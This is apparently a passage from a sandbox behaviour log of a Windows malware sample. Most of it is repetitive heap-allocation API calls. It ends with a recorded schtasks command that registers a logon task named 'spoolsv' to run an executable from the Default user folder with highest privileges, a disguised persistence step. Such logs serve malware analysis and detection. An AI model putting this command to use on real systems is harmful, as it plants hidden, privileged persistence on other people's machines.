MemoryPointer=0x2392c0) returned 0x3e [0159.587] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2392c0 | out: hHeap=0x220000) returned 1 [0159.587] GetProcessHeap () returned 0x220000 [0159.587] GetProcessHeap () returned 0x220000 [0159.587] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d530) returned 1 [0159.587] GetProcessHeap () returned 0x220000 [0159.587] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d530) returned 0x18 [0159.587] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d530 | out: hHeap=0x220000) returned 1 [0159.587] GetProcessHeap () returned 0x220000 [0159.587] GetProcessHeap () returned 0x220000 [0159.587] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cab0) returned 1 [0159.587] GetProcessHeap () returned 0x220000 [0159.587] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cab0) returned 0x20 [0159.587] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cab0 | out: hHeap=0x220000) returned 1 [0159.587] GetProcessHeap () returned 0x220000 [0159.587] GetProcessHeap () returned 0x220000 [0159.587] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x239270) returned 1 [0159.587] GetProcessHeap () returned 0x220000 [0159.587] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x239270) returned 0x40 [0159.588] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239270 | out: hHeap=0x220000) returned 1 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d510) returned 1 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d510) returned 0x18 [0159.588] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d510 | out: hHeap=0x220000) returned 1 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ca80) returned 1 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ca80) returned 0x20 [0159.588] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ca80 | out: hHeap=0x220000) returned 1 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4f0) returned 1 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d4f0) returned 0xe [0159.588] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4f0 | out: hHeap=0x220000) returned 1 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4d0) returned 1 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d4d0) returned 0x18 [0159.588] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4d0 | out: hHeap=0x220000) returned 1 [0159.588] GetProcessHeap () returned 0x220000 [0159.588] GetProcessHeap () returned 0x220000 [0159.589] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235d20) returned 1 [0159.589] GetProcessHeap () returned 0x220000 [0159.589] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235d20) returned 0x20 [0159.589] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235d20 | out: hHeap=0x220000) returned 1 [0159.589] GetProcessHeap () returned 0x220000 [0159.589] GetProcessHeap () returned 0x220000 [0159.589] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbc0) returned 1 [0159.589] GetProcessHeap () returned 0x220000 [0159.589] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bbc0) returned 0x208 [0159.589] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bbc0 | out: hHeap=0x220000) returned 1 [0159.589] GetProcessHeap () returned 0x220000 [0159.589] GetProcessHeap () returned 0x220000 [0159.589] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba20) returned 1 [0159.589] GetProcessHeap () returned 0x220000 [0159.589] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba20) returned 0x18 [0159.589] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba20 | out: hHeap=0x220000) returned 1 [0159.589] GetProcessHeap () returned 0x220000 [0159.589] GetProcessHeap () returned 0x220000 [0159.590] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c30) returned 1 [0159.590] GetProcessHeap () returned 0x220000 [0159.590] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c30) returned 0x20 [0159.590] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c30 | out: hHeap=0x220000) returned 1 [0159.590] GetProcessHeap () returned 0x220000 [0159.590] GetProcessHeap () returned 0x220000 [0159.590] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d250) returned 1 [0159.590] GetProcessHeap () returned 0x220000 [0159.590] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d250) returned 0x200 [0159.590] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d250 | out: hHeap=0x220000) returned 1 [0159.590] GetProcessHeap () returned 0x220000 [0159.590] GetProcessHeap () returned 0x220000 [0159.590] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba60) returned 1 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba60) returned 0x18 [0159.591] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba60 | out: hHeap=0x220000) returned 1 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ba0) returned 1 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ba0) returned 0x20 [0159.591] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ba0 | out: hHeap=0x220000) returned 1 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1d0) returned 1 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c1d0) returned 0x14 [0159.591] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1d0 | out: hHeap=0x220000) returned 1 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1b0) returned 1 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c1b0) returned 0x18 [0159.591] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1b0 | out: hHeap=0x220000) returned 1 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ae0) returned 1 [0159.591] GetProcessHeap () returned 0x220000 [0159.591] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ae0) returned 0x20 [0159.592] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ae0 | out: hHeap=0x220000) returned 1 [0159.592] GetProcessHeap () returned 0x220000 [0159.592] GetProcessHeap () returned 0x220000 [0159.592] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1f0) returned 1 [0159.592] GetProcessHeap () returned 0x220000 [0159.592] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c1f0) returned 0x16 [0159.592] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1f0 | out: hHeap=0x220000) returned 1 [0159.592] GetProcessHeap () returned 0x220000 [0159.592] GetProcessHeap () returned 0x220000 [0159.592] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c170) returned 1 [0159.592] GetProcessHeap () returned 0x220000 [0159.592] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c170) returned 0x18 [0159.592] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c170 | out: hHeap=0x220000) returned 1 [0159.592] GetProcessHeap () returned 0x220000 [0159.592] GetProcessHeap () returned 0x220000 [0159.592] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ab0) returned 1 [0159.592] GetProcessHeap () returned 0x220000 [0159.592] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ab0) returned 0x20 [0159.593] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ab0 | out: hHeap=0x220000) returned 1 [0159.593] GetProcessHeap () returned 0x220000 [0159.593] GetProcessHeap () returned 0x220000 [0159.593] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9a0) returned 1 [0159.593] GetProcessHeap () returned 0x220000 [0159.593] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b9a0) returned 0x2 [0159.593] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9a0 | out: hHeap=0x220000) returned 1 [0159.593] GetProcessHeap () returned 0x220000 [0159.593] GetProcessHeap () returned 0x220000 [0159.593] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235900) returned 1 [0159.593] GetProcessHeap () returned 0x220000 [0159.593] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235900) returned 0x20 [0159.593] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235900 | out: hHeap=0x220000) returned 1 [0159.593] GetProcessHeap () returned 0x220000 [0159.593] GetProcessHeap () returned 0x220000 [0159.593] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235930) returned 1 [0159.593] GetProcessHeap () returned 0x220000 [0159.593] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235930) returned 0x20 [0159.594] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235930 | out: hHeap=0x220000) returned 1 [0159.594] GetProcessHeap () returned 0x220000 [0159.594] GetProcessHeap () returned 0x220000 [0159.594] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235960) returned 1 [0159.594] GetProcessHeap () returned 0x220000 [0159.594] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235960) returned 0x20 [0159.594] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235960 | out: hHeap=0x220000) returned 1 [0159.594] GetProcessHeap () returned 0x220000 [0159.594] GetProcessHeap () returned 0x220000 [0159.594] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235990) returned 1 [0159.594] GetProcessHeap () returned 0x220000 [0159.594] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235990) returned 0x20 [0159.594] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235990 | out: hHeap=0x220000) returned 1 [0159.594] GetProcessHeap () returned 0x220000 [0159.594] GetProcessHeap () returned 0x220000 [0159.594] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb10) returned 1 [0159.594] GetProcessHeap () returned 0x220000 [0159.594] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cb10) returned 0x20 [0159.595] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb10 | out: hHeap=0x220000) returned 1 [0159.595] GetProcessHeap () returned 0x220000 [0159.595] GetProcessHeap () returned 0x220000 [0159.595] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d630) returned 1 [0159.595] GetProcessHeap () returned 0x220000 [0159.595] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d630) returned 0xe [0159.595] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d630 | out: hHeap=0x220000) returned 1 [0159.595] GetProcessHeap () returned 0x220000 [0159.595] GetProcessHeap () returned 0x220000 [0159.595] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb40) returned 1 [0159.595] GetProcessHeap () returned 0x220000 [0159.595] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cb40) returned 0x20 [0159.595] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb40 | out: hHeap=0x220000) returned 1 [0159.595] GetProcessHeap () returned 0x220000 [0159.595] GetProcessHeap () returned 0x220000 [0159.595] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237a20) returned 1 [0159.595] GetProcessHeap () returned 0x220000 [0159.595] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237a20) returned 0x30 [0159.596] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237a20 | out: hHeap=0x220000) returned 1 [0159.596] GetProcessHeap () returned 0x220000 [0159.596] GetProcessHeap () returned 0x220000 [0159.596] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb70) returned 1 [0159.596] GetProcessHeap () returned 0x220000 [0159.596] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cb70) returned 0x20 [0159.596] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cb70 | out: hHeap=0x220000) returned 1 [0159.596] GetProcessHeap () returned 0x220000 [0159.596] GetProcessHeap () returned 0x220000 [0159.596] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x237a60) returned 1 [0159.596] GetProcessHeap () returned 0x220000 [0159.596] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x237a60) returned 0x30 [0159.597] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x237a60 | out: hHeap=0x220000) returned 1 [0159.597] GetProcessHeap () returned 0x220000 [0159.597] GetProcessHeap () returned 0x220000 [0159.597] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0) returned 1 [0159.597] GetProcessHeap () returned 0x220000 [0159.597] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccf0) returned 0x20 [0159.597] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0 | out: hHeap=0x220000) returned 1 [0159.597] GetProcessHeap () returned 0x220000 [0159.597] GetProcessHeap () returned 0x220000 [0159.597] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d550) returned 1 [0159.597] GetProcessHeap () returned 0x220000 [0159.597] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d550) returned 0xe [0159.597] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d550 | out: hHeap=0x220000) returned 1 [0159.597] GetProcessHeap () returned 0x220000 [0159.597] GetProcessHeap () returned 0x220000 [0159.597] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0) returned 1 [0159.597] GetProcessHeap () returned 0x220000 [0159.597] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccc0) returned 0x20 [0159.598] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccc0 | out: hHeap=0x220000) returned 1 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d570) returned 1 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d570) returned 0x16 [0159.598] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d570 | out: hHeap=0x220000) returned 1 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90) returned 1 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc90) returned 0x20 [0159.598] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc90 | out: hHeap=0x220000) returned 1 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d590) returned 1 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d590) returned 0x16 [0159.598] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d590 | out: hHeap=0x220000) returned 1 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60) returned 1 [0159.598] GetProcessHeap () returned 0x220000 [0159.598] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc60) returned 0x20 [0159.599] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc60 | out: hHeap=0x220000) returned 1 [0159.599] GetProcessHeap () returned 0x220000 [0159.599] GetProcessHeap () returned 0x220000 [0159.599] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x259910) returned 1 [0159.599] GetProcessHeap () returned 0x220000 [0159.599] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x259910) returned 0x82 [0159.599] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x220000) returned 1 [0159.599] GetProcessHeap () returned 0x220000 [0159.599] GetProcessHeap () returned 0x220000 [0159.599] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30) returned 1 [0159.599] GetProcessHeap () returned 0x220000 [0159.599] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc30) returned 0x20 [0159.599] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc30 | out: hHeap=0x220000) returned 1 [0159.599] GetProcessHeap () returned 0x220000 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5d0) returned 1 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d5d0) returned 0xe [0159.600] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5d0 | out: hHeap=0x220000) returned 1 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc00) returned 1 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cc00) returned 0x20 [0159.600] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cc00 | out: hHeap=0x220000) returned 1 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5f0) returned 1 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d5f0) returned 0xa [0159.600] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5f0 | out: hHeap=0x220000) returned 1 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cbd0) returned 1 [0159.600] GetProcessHeap () returned 0x220000 [0159.600] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cbd0) returned 0x20 [0159.601] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cbd0 | out: hHeap=0x220000) returned 1 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d610) returned 1 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d610) returned 0xc [0159.601] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d610 | out: hHeap=0x220000) returned 1 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cba0) returned 1 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cba0) returned 0x20 [0159.601] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cba0 | out: hHeap=0x220000) returned 1 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9c0) returned 1 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b9c0) returned 0x18 [0159.601] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9c0 | out: hHeap=0x220000) returned 1 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] GetProcessHeap () returned 0x220000 [0159.601] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2359c0) returned 1 [0159.601] GetProcessHeap () returned 0x220000 [0159.602] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2359c0) returned 0x20 [0159.602] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2359c0 | out: hHeap=0x220000) returned 1 [0159.602] GetProcessHeap () returned 0x220000 [0159.602] GetProcessHeap () returned 0x220000 [0159.602] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2359f0) returned 1 [0159.602] GetProcessHeap () returned 0x220000 [0159.602] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2359f0) returned 0x20 [0159.602] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2359f0 | out: hHeap=0x220000) returned 1 [0159.602] GetProcessHeap () returned 0x220000 [0159.602] GetProcessHeap () returned 0x220000 [0159.603] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a20) returned 1 [0159.603] GetProcessHeap () returned 0x220000 [0159.603] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a20) returned 0x20 [0159.603] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a20 | out: hHeap=0x220000) returned 1 [0159.603] GetProcessHeap () returned 0x220000 [0159.603] GetProcessHeap () returned 0x220000 [0159.603] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a50) returned 1 [0159.603] GetProcessHeap () returned 0x220000 [0159.603] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a50) returned 0x20 [0159.603] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a50 | out: hHeap=0x220000) returned 1 [0159.603] GetProcessHeap () returned 0x220000 [0159.603] GetProcessHeap () returned 0x220000 [0159.603] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9e0) returned 1 [0159.603] GetProcessHeap () returned 0x220000 [0159.603] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b9e0) returned 0x18 [0159.603] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9e0 | out: hHeap=0x220000) returned 1 [0159.603] GetProcessHeap () returned 0x220000 [0159.603] GetProcessHeap () returned 0x220000 [0159.604] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a80) returned 1 [0159.604] GetProcessHeap () returned 0x220000 [0159.604] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a80) returned 0x20 [0159.604] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a80 | out: hHeap=0x220000) returned 1 [0159.604] GetProcessHeap () returned 0x220000 [0159.604] GetProcessHeap () returned 0x220000 [0159.604] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b10) returned 1 [0159.604] GetProcessHeap () returned 0x220000 [0159.604] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b10) returned 0x20 [0159.604] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b10 | out: hHeap=0x220000) returned 1 [0159.604] GetProcessHeap () returned 0x220000 [0159.604] GetProcessHeap () returned 0x220000 [0159.604] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b70) returned 1 [0159.604] GetProcessHeap () returned 0x220000 [0159.604] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b70) returned 0x20 [0159.605] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b70 | out: hHeap=0x220000) returned 1 [0159.605] GetProcessHeap () returned 0x220000 [0159.605] GetProcessHeap () returned 0x220000 [0159.605] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235bd0) returned 1 [0159.605] GetProcessHeap () returned 0x220000 [0159.605] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235bd0) returned 0x20 [0159.605] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235bd0 | out: hHeap=0x220000) returned 1 [0159.605] GetProcessHeap () returned 0x220000 [0159.605] GetProcessHeap () returned 0x220000 [0159.605] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c00) returned 1 [0159.605] GetProcessHeap () returned 0x220000 [0159.605] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c00) returned 0x20 [0159.606] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c00 | out: hHeap=0x220000) returned 1 [0159.606] GetProcessHeap () returned 0x220000 [0159.606] GetProcessHeap () returned 0x220000 [0159.606] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba00) returned 1 [0159.606] GetProcessHeap () returned 0x220000 [0159.606] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba00) returned 0x18 [0159.606] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba00 | out: hHeap=0x220000) returned 1 [0159.606] GetProcessHeap () returned 0x220000 [0159.606] GetProcessHeap () returned 0x220000 [0159.606] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b40) returned 1 [0159.606] GetProcessHeap () returned 0x220000 [0159.606] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b40) returned 0x20 [0159.606] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b40 | out: hHeap=0x220000) returned 1 [0159.606] GetProcessHeap () returned 0x220000 [0159.606] GetProcessHeap () returned 0x220000 [0159.606] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b980) returned 1 [0159.606] GetProcessHeap () returned 0x220000 [0159.606] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b980) returned 0x18 [0159.606] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b980 | out: hHeap=0x220000) returned 1 [0159.606] exit (_Code=0) Thread: id = 205 os_tid = 0x8b8 Process: id = "57" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3fe2f000" os_pid = "0x8bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"spoolsv\" /sc ONLOGON /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], 